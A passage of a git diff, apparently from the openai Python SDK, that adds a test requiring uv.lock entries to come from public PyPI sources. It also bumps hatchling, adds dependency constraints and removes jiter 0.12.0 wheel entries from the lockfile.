+from typing import Any, cast
from pathlib import Path
import pytest
@@ -17,6 +18,33 @@
ROOT = Path(__file__).resolve().parents[1]
+def test_lockfile_uses_public_package_sources() -> None:
+ lock = tomllib.loads((ROOT / "uv.lock").read_text())
+ for package in lock["package"]:
+ name = package["name"]
+ expected_source = {"editable": "."} if name == "openai" else {"registry": "https://pypi.org/simple"}
+ public_source = package["source"] == expected_source
+ # Do not print an unexpected URL: a local registry URL may contain credentials.
+ assert public_source, f"{name}: unexpected package source in the public lockfile"
+
+ pending: list[Any] = [lock]
+ while pending:
+ value = pending.pop()
+ if isinstance(value, dict):
+ mapping = cast("dict[str, Any]", value)
+ if "registry" in mapping:
+ public_registry = mapping["registry"] == "https://pypi.org/simple"
+ assert public_registry, "Unexpected registry reference in the public lockfile"
+ if "url" in mapping and "hash" in mapping:
+ public_artifact = (
+ re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^?#\s]+", mapping["url"]) is not None
+ )
+ assert public_artifact, "Unexpected artifact URL in the public lockfile"
+ pending.extend(mapping.values())
+ elif isinstance(value, list):
+ pending.extend(cast("list[Any]", value))
+
+
def test_dependency_update_age_policy() -> None:
project = tomllib.loads((ROOT / "pyproject.toml").read_text())
uv = project["tool"]["uv"]
diff --git a/uv.lock b/uv.lock
index 1b5c3230d4..f61fe51e31 100644
--- a/uv.lock
+++ b/uv.lock
@@ -23,8 +23,16 @@ exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for
exclude-newer-span = "P8D"
[manifest]
+constraints = [
+ { name = "azure-core", specifier = ">=1.38.0" },
+ { name = "cryptography", specifier = ">=50.0.0" },
+ { name = "msal", specifier = ">=1.37.0" },
+ { name = "pygments", specifier = ">=2.20.0" },
+ { name = "pyjwt", specifier = ">=2.13.0" },
+ { name = "requests", specifier = ">=2.33.0" },
+]
build-constraints = [
- { name = "hatchling", specifier = "==1.26.3" },
+ { name = "hatchling", specifier = "==1.27.0" },
{ name = "packaging", specifier = "==26.3" },
{ name = "pathspec", specifier = "==1.1.1" },
{ name = "pluggy", specifier = "==1.6.0" },
@@ -713,7 +721,7 @@ wheels = [
[[package]]
name = "hatchling"
-version = "1.26.3"
+version = "1.27.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "packaging" },
@@ -722,9 +730,9 @@ dependencies = [
{ name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "trove-classifiers" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/e1/47/7ec270a9567262ae3cb32dd420d2b53bf7aee769aca1f240eae0426b5bbc/hatchling-1.26.3.tar.gz", hash = "sha256:b672a9c36a601a06c4e88a1abb1330639ee8e721e0535a37536e546a667efc7a", size = 54968, upload-time = "2024-11-12T19:20:46.346Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/8f/8a/cc1debe3514da292094f1c3a700e4ca25442489731ef7c0814358816bb03/hatchling-1.27.0.tar.gz", hash = "sha256:971c296d9819abb3811112fc52c7a9751c8d381898f36533bb16f9791e941fd6", size = 54983, upload-time = "2024-12-15T17:08:11.894Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/72/41/b3e29dc4fe623794070e5dfbb9915acb649ce05d6472f005470cbed9de83/hatchling-1.26.3-py3-none-any.whl", hash = "sha256:c407e1c6c17b574584a66ae60e8e9a01235ecb6dc61d01559bb936577aaf5846", size = 75773, upload-time = "2024-11-12T19:20:44.165Z" },
+ { url = "https://files.pythonhosted.org/packages/08/e7/ae38d7a6dfba0533684e0b2136817d667588ae3ec984c1a4e5df5eb88482/hatchling-1.27.0-py3-none-any.whl", hash = "sha256:d3a2f3567c4f926ea39849cdf924c7e99e6686c9c8e288ae1037c8fa2a5d937b", size = 75794, upload-time = "2024-12-15T17:08:10.364Z" },
]
[[package]]
@@ -792,99 +800,101 @@ wheels = [
[[package]]
name = "jiter"
-version = "0.12.0"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/45/9d/e0660989c1370e25848bb4c52d061c71837239738ad937e83edca174c273/jiter-0.12.0.tar.gz", hash = "sha256:64dfcd7d5c168b38d3f9f8bba7fc639edb3418abcc74f22fdbe6b8938293f30b", size = 168294, upload-time = "2025-11-09T20:49:23.302Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/3b/91/13cb9505f7be74a933f37da3af22e029f6ba64f5669416cb8b2774bc9682/jiter-0.12.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:e7acbaba9703d5de82a2c98ae6a0f59ab9770ab5af5fa35e43a303aee962cf65", size = 316652, upload-time = "2025-11-09T20:46:41.021Z" },
- { url = "https://files.pythonhosted.org/packages/4e/76/4e9185e5d9bb4e482cf6dec6410d5f78dfeb374cfcecbbe9888d07c52daa/jiter-0.12.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:364f1a7294c91281260364222f535bc427f56d4de1d8ffd718162d21fbbd602e", size = 319829, upload-time = "2025-11-09T20:46:43.281Z" },
- { url = "https://files.pythonhosted.org/packages/86/af/727de50995d3a153138139f259baae2379d8cb0522c0c00419957bc478a6/jiter-0.12.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:85ee4d25805d4fb23f0a5167a962ef8e002dbfb29c0989378488e32cf2744b62", size = 350568, upload-time = "2025-11-09T20:46:45.075Z" },
- { url = "https://files.pythonhosted.org/packages/6a/c1/d6e9f4b7a3d5ac63bcbdfddeb50b2dcfbdc512c86cffc008584fdc350233/jiter-0.12.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:796f466b7942107eb889c08433b6e31b9a7ed31daceaecf8af1be26fb26c0ca8", size = 369052, upload-time = "2025-11-09T20:46:46.818Z" },
- { url = "https://files.pythonhosted.org/packages/eb/be/00824cd530f30ed73fa8a4f9f3890a705519e31ccb9e929f1e22062e7c76/jiter-0.12.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:35506cb71f47dba416694e67af996bbdefb8e3608f1f78799c2e1f9058b01ceb", size = 481585, upload-time = "2025-11-09T20:46:48.319Z" },
- { url = "https://files.pythonhosted.org/packages/74/b6/2ad7990dff9504d4b5052eef64aa9574bd03d722dc7edced97aad0d47be7/jiter-0.12.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:726c764a90c9218ec9e4f99a33d6bf5ec169163f2ca0fc21b654e88c2abc0abc", size = 380541, upload-time = "2025-11-09T20:46:49.643Z" },
- { url = "https://files.pythonhosted.org/packages/b5/c7/f3c26ecbc1adbf1db0d6bba99192143d8fe8504729d9594542ecc4445784/jiter-0.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:baa47810c5565274810b726b0dc86d18dce5fd17b190ebdc3890851d7b2a0e74", size = 364423, upload-time = "2025-11-09T20:46:51.731Z" },
- { url = "https://files.pythonhosted.org/packages/18/51/eac547bf3a2d7f7e556927278e14c56a0604b8cddae75815d5739f65f81d/jiter-0.12.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f8ec0259d3f26c62aed4d73b198c53e316ae11f0f69c8fbe6682c6dcfa0fcce2", size = 389958, upload-time = "2025-11-09T20:46:53.432Z" },
- { url = "https://files.pythonhosted.org/packages/2c/1f/9ca592e67175f2db156cff035e0d817d6004e293ee0c1d73692d38fcb596/jiter-0.12.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:79307d74ea83465b0152fa23e5e297149506435535282f979f18b9033c0bb025", size = 522084, upload-time = "2025-11-09T20:46:54.848Z" },
- { url = "https://files.pythonhosted.org/packages/83/ff/597d9cdc3028f28224f53e1a9d063628e28b7a5601433e3196edda578cdd/jiter-0.12.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:cf6e6dd18927121fec86739f1a8906944703941d000f0639f3eb6281cc601dca", size = 513054, upload-time = "2025-11-09T20:46:56.487Z" },
- { url = "https://files.pythonhosted.org/packages/24/6d/1970bce1351bd02e3afcc5f49e4f7ef3dabd7fb688f42be7e8091a5b809a/jiter-0.12.0-cp310-cp310-win32.whl", hash = "sha256:b6ae2aec8217327d872cbfb2c1694489057b9433afce447955763e6ab015b4c4", size = 206368, upload-time = "2025-11-09T20:46:58.638Z" },
- { url = "https://files.pythonhosted.org/packages/e3/6b/eb1eb505b2d86709b59ec06681a2b14a94d0941db091f044b9f0e16badc0/jiter-0.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:c7f49ce90a71e44f7e1aa9e7ec415b9686bbc6a5961e57eab511015e6759bc11", size = 204847, upload-time = "2025-11-09T20:47:00.295Z" },
- { url = "https://files.pythonhosted.org/packages/32/f9/eaca4633486b527ebe7e681c431f529b63fe2709e7c5242fc0f43f77ce63/jiter-0.12.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:d8f8a7e317190b2c2d60eb2e8aa835270b008139562d70fe732e1c0020ec53c9", size = 316435, upload-time = "2025-11-09T20:47:02.087Z" },
- { url = "https://files.pythonhosted.org/packages/10/c1/40c9f7c22f5e6ff715f28113ebaba27ab85f9af2660ad6e1dd6425d14c19/jiter-0.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2218228a077e784c6c8f1a8e5d6b8cb1dea62ce25811c356364848554b2056cd", size = 320548, upload-time = "2025-11-09T20:47:03.409Z" },
- { url = "https://files.pythonhosted.org/packages/6b/1b/efbb68fe87e7711b00d2cfd1f26bb4bfc25a10539aefeaa7727329ffb9cb/jiter-0.12.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9354ccaa2982bf2188fd5f57f79f800ef622ec67beb8329903abf6b10da7d423", size = 351915, upload-time = "2025-11-09T20:47:05.171Z" },
- { url = "https://files.pythonhosted.org/packages/15/2d/c06e659888c128ad1e838123d0638f0efad90cc30860cb5f74dd3f2fc0b3/jiter-0.12.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8f2607185ea89b4af9a604d4c7ec40e45d3ad03ee66998b031134bc510232bb7", size = 368966, upload-time = "2025-11-09T20:47:06.508Z" },
- { url = "https://files.pythonhosted.org/packages/6b/20/058db4ae5fb07cf6a4ab2e9b9294416f606d8e467fb74c2184b2a1eeacba/jiter-0.12.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a585a5e42d25f2e71db5f10b171f5e5ea641d3aa44f7df745aa965606111cc2", size = 482047, upload-time = "2025-11-09T20:47:08.382Z" },
- { url = "https://files.pythonhosted.org/packages/49/bb/dc2b1c122275e1de2eb12905015d61e8316b2f888bdaac34221c301495d6/jiter-0.12.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd9e21d34edff5a663c631f850edcb786719c960ce887a5661e9c828a53a95d9", size = 380835, upload-time = "2025-11-09T20:47:09.81Z" },
- { url = "https://files.pythonhosted.org/packages/23/7d/38f9cd337575349de16da575ee57ddb2d5a64d425c9367f5ef9e4612e32e/jiter-0.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4a612534770470686cd5431478dc5a1b660eceb410abade6b1b74e320ca98de6", size = 364587, upload-time = "2025-11-09T20:47:11.529Z" },
- { url = "https://files.pythonhosted.org/packages/f0/a3/b13e8e61e70f0bb06085099c4e2462647f53cc2ca97614f7fedcaa2bb9f3/jiter-0.12.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3985aea37d40a908f887b34d05111e0aae822943796ebf8338877fee2ab67725", size = 390492, upload-time = "2025-11-09T20:47:12.993Z" },
- { url = "https://files.pythonhosted.org/packages/07/71/e0d11422ed027e21422f7bc1883c61deba2d9752b720538430c1deadfbca/jiter-0.12.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b1207af186495f48f72529f8d86671903c8c10127cac6381b11dddc4aaa52df6", size = 522046, upload-time = "2025-11-09T20:47:14.6Z" },
- { url = "https://files.pythonhosted.org/packages/9f/59/b968a9aa7102a8375dbbdfbd2aeebe563c7e5dddf0f47c9ef1588a97e224/jiter-0.12.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:ef2fb241de583934c9915a33120ecc06d94aa3381a134570f59eed784e87001e", size = 513392, upload-time = "2025-11-09T20:47:16.011Z" },
- { url = "https://files.pythonhosted.org/packages/ca/e4/7df62002499080dbd61b505c5cb351aa09e9959d176cac2aa8da6f93b13b/jiter-0.12.0-cp311-cp311-win32.whl", hash = "sha256:453b6035672fecce8007465896a25b28a6b59cfe8fbc974b2563a92f5a92a67c", size = 206096, upload-time = "2025-11-09T20:47:17.344Z" },
- { url = "https://files.pythonhosted.org/packages/bb/60/1032b30ae0572196b0de0e87dce3b6c26a1eff71aad5fe43dee3082d32e0/jiter-0.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:ca264b9603973c2ad9435c71a8ec8b49f8f715ab5ba421c85a51cde9887e421f", size = 204899, upload-time = "2025-11-09T20:47:19.365Z" },
- { url = "https://files.pythonhosted.org/packages/49/d5/c145e526fccdb834063fb45c071df78b0cc426bbaf6de38b0781f45d956f/jiter-0.12.0-cp311-cp311-win_arm64.whl", hash = "sha256:cb00ef392e7d684f2754598c02c409f376ddcef857aae796d559e6cacc2d78a5", size = 188070, upload-time = "2025-11-09T20:47:20.75Z" },
- { url = "https://files.pythonhosted.org/packages/92/c9/5b9f7b4983f1b542c64e84165075335e8a236fa9e2ea03a0c79780062be8/jiter-0.12.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:305e061fa82f4680607a775b2e8e0bcb071cd2205ac38e6ef48c8dd5ebe1cf37", size = 314449, upload-time = "2025-11-09T20:47:22.999Z" },
- { url = "https://files.pythonhosted.org/packages/98/6e/e8efa0e78de00db0aee82c0cf9e8b3f2027efd7f8a71f859d8f4be8e98ef/jiter-0.12.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5c1860627048e302a528333c9307c818c547f214d8659b0705d2195e1a94b274", size = 319855, upload-time = "2025-11-09T20:47:24.779Z" },
- { url = "https://files.pythonhosted.org/packages/20/26/894cd88e60b5d58af53bec5c6759d1292bd0b37a8b5f60f07abf7a63ae5f/jiter-0.12.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:df37577a4f8408f7e0ec3205d2a8f87672af8f17008358063a4d6425b6081ce3", size = 350171, upload-time = "2025-11-09T20:47:26.469Z" },
- { url = "https://files.pythonhosted.org/packages/f5/27/a7b818b9979ac31b3763d25f3653ec3a954044d5e9f5d87f2f247d679fd1/jiter-0.12.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:75fdd787356c1c13a4f40b43c2156276ef7a71eb487d98472476476d803fb2cf", size = 365590, upload-time = "2025-11-09T20:47:27.918Z" },
- { url = "https://files.pythonhosted.org/packages/ba/7e/e46195801a97673a83746170b17984aa8ac4a455746354516d02ca5541b4/jiter-0.12.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1eb5db8d9c65b112aacf14fcd0faae9913d07a8afea5ed06ccdd12b724e966a1", size = 479462, upload-time = "2025-11-09T20:47:29.654Z" },
- { url = "https://files.pythonhosted.org/packages/ca/75/f833bfb009ab4bd11b1c9406d333e3b4357709ed0570bb48c7c06d78c7dd/jiter-0.12.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:73c568cc27c473f82480abc15d1301adf333a7ea4f2e813d6a2c7d8b6ba8d0df", size = 378983, upload-time = "2025-11-09T20:47:31.026Z" },
- { url = "https://files.pythonhosted.org/packages/71/b3/7a69d77943cc837d30165643db753471aff5df39692d598da880a6e51c24/jiter-0.12.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4321e8a3d868919bcb1abb1db550d41f2b5b326f72df29e53b2df8b006eb9403", size = 361328, upload-time = "2025-11-09T20:47:33.286Z" },
- { url = "https://files.pythonhosted.org/packages/b0/ac/a78f90caf48d65ba70d8c6efc6f23150bc39dc3389d65bbec2a95c7bc628/jiter-0.12.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:0a51bad79f8cc9cac2b4b705039f814049142e0050f30d91695a2d9a6611f126", size = 386740, upload-time = "2025-11-09T20:47:34.703Z" },
- { url = "https://files.pythonhosted.org/packages/39/b6/5d31c2cc8e1b6a6bcf3c5721e4ca0a3633d1ab4754b09bc7084f6c4f5327/jiter-0.12.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:2a67b678f6a5f1dd6c36d642d7db83e456bc8b104788262aaefc11a22339f5a9", size = 520875, upload-time = "2025-11-09T20:47:36.058Z" },
- { url = "https://files.pythonhosted.org/packages/30/b5/4df540fae4e9f68c54b8dab004bd8c943a752f0b00efd6e7d64aa3850339/jiter-0.12.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:efe1a211fe1fd14762adea941e3cfd6c611a136e28da6c39272dbb7a1bbe6a86", size = 511457, upload-time = "2025-11-09T20:47:37.932Z" },
- { url = "https://files.pythonhosted.org/packages/07/65/86b74010e450a1a77b2c1aabb91d4a91dd3cd5afce99f34d75fd1ac64b19/jiter-0.12.0-cp312-cp312-win32.whl", hash = "sha256:d779d97c834b4278276ec703dc3fc1735fca50af63eb7262f05bdb4e62203d44", size = 204546, upload-time = "2025-11-09T20:47:40.47Z" },
- { url = "https://files.pythonhosted.org/packages/1c/c7/6659f537f9562d963488e3e55573498a442503ced01f7e169e96a6110383/jiter-0.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:e8269062060212b373316fe69236096aaf4c49022d267c6736eebd66bbbc60bb", size = 205196, upload-time = "2025-11-09T20:47:41.794Z" },
- { url = "https://files.pythonhosted.org/packages/21/f4/935304f5169edadfec7f9c01eacbce4c90bb9a82035ac1de1f3bd2d40be6/jiter-0.12.0-cp312-cp312-win_arm64.whl", hash = "sha256:06cb970936c65de926d648af0ed3d21857f026b1cf5525cb2947aa5e01e05789", size = 186100, upload-time = "2025-11-09T20:47:43.007Z" },
- { url = "https://files.pythonhosted.org/packages/3d/a6/97209693b177716e22576ee1161674d1d58029eb178e01866a0422b69224/jiter-0.12.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:6cc49d5130a14b732e0612bc76ae8db3b49898732223ef8b7599aa8d9810683e", size = 313658, upload-time = "2025-11-09T20:47:44.424Z" },
- { url = "https://files.pythonhosted.org/packages/06/4d/125c5c1537c7d8ee73ad3d530a442d6c619714b95027143f1b61c0b4dfe0/jiter-0.12.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:37f27a32ce36364d2fa4f7fdc507279db604d27d239ea2e044c8f148410defe1", size = 318605, upload-time = "2025-11-09T20:47:45.973Z" },
- { url = "https://files.pythonhosted.org/packages/99/bf/a840b89847885064c41a5f52de6e312e91fa84a520848ee56c97e4fa0205/jiter-0.12.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbc0944aa3d4b4773e348cda635252824a78f4ba44328e042ef1ff3f6080d1cf", size = 349803, upload-time = "2025-11-09T20:47:47.535Z" },
- { url = "https://files.pythonhosted.org/packages/8a/88/e63441c28e0db50e305ae23e19c1d8fae012d78ed55365da392c1f34b09c/jiter-0.12.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da25c62d4ee1ffbacb97fac6dfe4dcd6759ebdc9015991e92a6eae5816287f44", size = 365120, upload-time = "2025-11-09T20:47:49.284Z" },
- { url = "https://files.pythonhosted.org/packages/0a/7c/49b02714af4343970eb8aca63396bc1c82fa01197dbb1e9b0d274b550d4e/jiter-0.12.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:048485c654b838140b007390b8182ba9774621103bd4d77c9c3f6f117474ba45", size = 479918, upload-time = "2025-11-09T20:47:50.807Z" },
- { url = "https://files.pythonhosted.org/packages/69/ba/0a809817fdd5a1db80490b9150645f3aae16afad166960bcd562be194f3b/jiter-0.12.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:635e737fbb7315bef0037c19b88b799143d2d7d3507e61a76751025226b3ac87", size = 379008, upload-time = "2025-11-09T20:47:52.211Z" },
- { url = "https://files.pythonhosted.org/packages/5f/c3/c9fc0232e736c8877d9e6d83d6eeb0ba4e90c6c073835cc2e8f73fdeef51/jiter-0.12.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e017c417b1ebda911bd13b1e40612704b1f5420e30695112efdbed8a4b389ed", size = 361785, upload-time = "2025-11-09T20:47:53.512Z" },
- { url = "https://files.pythonhosted.org/packages/96/61/61f69b7e442e97ca6cd53086ddc1cf59fb830549bc72c0a293713a60c525/jiter-0.12.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:89b0bfb8b2bf2351fba36bb211ef8bfceba73ef58e7f0c68fb67b5a2795ca2f9", size = 386108, upload-time = "2025-11-09T20:47:54.893Z" },
- { url = "https://files.pythonhosted.org/packages/e9/2e/76bb3332f28550c8f1eba3bf6e5efe211efda0ddbbaf24976bc7078d42a5/jiter-0.12.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:f5aa5427a629a824a543672778c9ce0c5e556550d1569bb6ea28a85015287626", size = 519937, upload-time = "2025-11-09T20:47:56.253Z" },
- { url = "https://files.pythonhosted.org/packages/84/d6/fa96efa87dc8bff2094fb947f51f66368fa56d8d4fc9e77b25d7fbb23375/jiter-0.12.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:ed53b3d6acbcb0fd0b90f20c7cb3b24c357fe82a3518934d4edfa8c6898e498c", size = 510853, upload-time = "2025-11-09T20:47:58.32Z" },
- { url = "https://files.pythonhosted.org/packages/8a/28/93f67fdb4d5904a708119a6ab58a8f1ec226ff10a94a282e0215402a8462/jiter-0.12.0-cp313-cp313-win32.whl", hash = "sha256:4747de73d6b8c78f2e253a2787930f4fffc68da7fa319739f57437f95963c4de", size = 204699, upload-time = "2025-11-09T20:47:59.686Z" },
- { url = "https://files.pythonhosted.org/packages/c4/1f/30b0eb087045a0abe2a5c9c0c0c8da110875a1d3be83afd4a9a4e548be3c/jiter-0.12.0-cp313-cp313-win_amd64.whl", hash = "sha256:e25012eb0c456fcc13354255d0338cd5397cce26c77b2832b3c4e2e255ea5d9a", size = 204258, upload-time = "2025-11-09T20:48:01.01Z" },
- { url = "https://files.pythonhosted.org/packages/2c/f4/2b4daf99b96bce6fc47971890b14b2a36aef88d7beb9f057fafa032c6141/jiter-0.12.0-cp313-cp313-win_arm64.whl", hash = "sha256:c97b92c54fe6110138c872add030a1f99aea2401ddcdaa21edf74705a646dd60", size = 185503, upload-time = "2025-11-09T20:48:02.35Z" },
- { url = "https://files.pythonhosted.org/packages/39/ca/67bb15a7061d6fe20b9b2a2fd783e296a1e0f93468252c093481a2f00efa/jiter-0.12.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:53839b35a38f56b8be26a7851a48b89bc47e5d88e900929df10ed93b95fea3d6", size = 317965, upload-time = "2025-11-09T20:48:03.783Z" },
- { url = "https://files.pythonhosted.org/packages/18/af/1788031cd22e29c3b14bc6ca80b16a39a0b10e611367ffd480c06a259831/jiter-0.12.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94f669548e55c91ab47fef8bddd9c954dab1938644e715ea49d7e117015110a4", size = 345831, upload-time = "2025-11-09T20:48:05.55Z" },
- { url = "https://files.pythonhosted.org/packages/05/17/710bf8472d1dff0d3caf4ced6031060091c1320f84ee7d5dcbed1f352417/jiter-0.12.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:351d54f2b09a41600ffea43d081522d792e81dcfb915f6d2d242744c1cc48beb", size = 361272, upload-time = "2025-11-09T20:48:06.951Z" },
- { url = "https://files.pythonhosted.org/packages/fb/f1/1dcc4618b59761fef92d10bcbb0b038b5160be653b003651566a185f1a5c/jiter-0.12.0-cp313-cp313t-win_amd64.whl", hash = "sha256:2a5e90604620f94bf62264e7c2c038704d38217b7465b863896c6d7c902b06c7", size = 204604, upload-time = "2025-11-09T20:48:08.328Z" },
- { url = "https://files.pythonhosted.org/packages/d9/32/63cb1d9f1c5c6632a783c0052cde9ef7ba82688f7065e2f0d5f10a7e3edb/jiter-0.12.0-cp313-cp313t-win_arm64.whl", hash = "sha256:88ef757017e78d2860f96250f9393b7b577b06a956ad102c29c8237554380db3", size = 185628, upload-time = "2025-11-09T20:48:09.572Z" },
- { url = "https://files.pythonhosted.org/packages/a8/99/45c9f0dbe4a1416b2b9a8a6d1236459540f43d7fb8883cff769a8db0612d/jiter-0.12.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:c46d927acd09c67a9fb1416df45c5a04c27e83aae969267e98fba35b74e99525", size = 312478, upload-time = "2025-11-09T20:48:10.898Z" },
- { url = "https://files.pythonhosted.org/packages/4c/a7/54ae75613ba9e0f55fcb0bc5d1f807823b5167cc944e9333ff322e9f07dd/jiter-0.12.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:774ff60b27a84a85b27b88cd5583899c59940bcc126caca97eb2a9df6aa00c49", size = 318706, upload-time = "2025-11-09T20:48:12.266Z" },
- { url = "https://files.pythonhosted.org/packages/59/31/2aa241ad2c10774baf6c37f8b8e1f39c07db358f1329f4eb40eba179c2a2/jiter-0.12.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5433fab222fb072237df3f637d01b81f040a07dcac1cb4a5c75c7aa9ed0bef1", size = 351894, upload-time = "2025-11-09T20:48:13.673Z" },
- { url = "https://files.pythonhosted.org/packages/54/4f/0f2759522719133a9042781b18cc94e335b6d290f5e2d3e6899d6af933e3/jiter-0.12.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f8c593c6e71c07866ec6bfb790e202a833eeec885022296aff6b9e0b92d6a70e", size = 365714, upload-time = "2025-11-09T20:48:15.083Z" },
- { url = "https://files.pythonhosted.org/packages/dc/6f/806b895f476582c62a2f52c453151edd8a0fde5411b0497baaa41018e878/jiter-0.12.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:90d32894d4c6877a87ae00c6b915b609406819dce8bc0d4e962e4de2784e567e", size = 478989, upload-time = "2025-11-09T20:48:16.706Z" },
- { url = "https://files.pythonhosted.org/packages/86/6c/012d894dc6e1033acd8db2b8346add33e413ec1c7c002598915278a37f79/jiter-0.12.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:798e46eed9eb10c3adbbacbd3bdb5ecd4cf7064e453d00dbef08802dae6937ff", size = 378615, upload-time = "2025-11-09T20:48:18.614Z" },
- { url = "https://files.pythonhosted.org/packages/87/30/d718d599f6700163e28e2c71c0bbaf6dace692e7df2592fd793ac9276717/jiter-0.12.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3f1368f0a6719ea80013a4eb90ba72e75d7ea67cfc7846db2ca504f3df0169a", size = 364745, upload-time = "2025-11-09T20:48:20.117Z" },
- { url = "https://files.pythonhosted.org/packages/8f/85/315b45ce4b6ddc7d7fceca24068543b02bdc8782942f4ee49d652e2cc89f/jiter-0.12.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65f04a9d0b4406f7e51279710b27484af411896246200e461d80d3ba0caa901a", size = 386502, upload-time = "2025-11-09T20:48:21.543Z" },
- { url = "https://files.pythonhosted.org/packages/74/0b/ce0434fb40c5b24b368fe81b17074d2840748b4952256bab451b72290a49/jiter-0.12.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:fd990541982a24281d12b67a335e44f117e4c6cbad3c3b75c7dea68bf4ce3a67", size = 519845, upload-time = "2025-11-09T20:48:22.964Z" },
- { url = "https://files.pythonhosted.org/packages/e8/a3/7a7a4488ba052767846b9c916d208b3ed114e3eb670ee984e4c565b9cf0d/jiter-0.12.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:b111b0e9152fa7df870ecaebb0bd30240d9f7fff1f2003bcb4ed0f519941820b", size = 510701, upload-time = "2025-11-09T20:48:24.483Z" },
- { url = "https://files.pythonhosted.org/packages/c3/16/052ffbf9d0467b70af24e30f91e0579e13ded0c17bb4a8eb2aed3cb60131/jiter-0.12.0-cp314-cp314-win32.whl", hash = "sha256:a78befb9cc0a45b5a5a0d537b06f8544c2ebb60d19d02c41ff15da28a9e22d42", size = 205029, upload-time = "2025-11-09T20:48:25.749Z" },
- { url = "https://files.pythonhosted.org/packages/e4/18/3cf1f3f0ccc789f76b9a754bdb7a6977e5d1d671ee97a9e14f7eb728d80e/jiter-0.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:e1fe01c082f6aafbe5c8faf0ff074f38dfb911d53f07ec333ca03f8f6226debf", size = 204960, upload-time = "2025-11-09T20:48:27.415Z" },
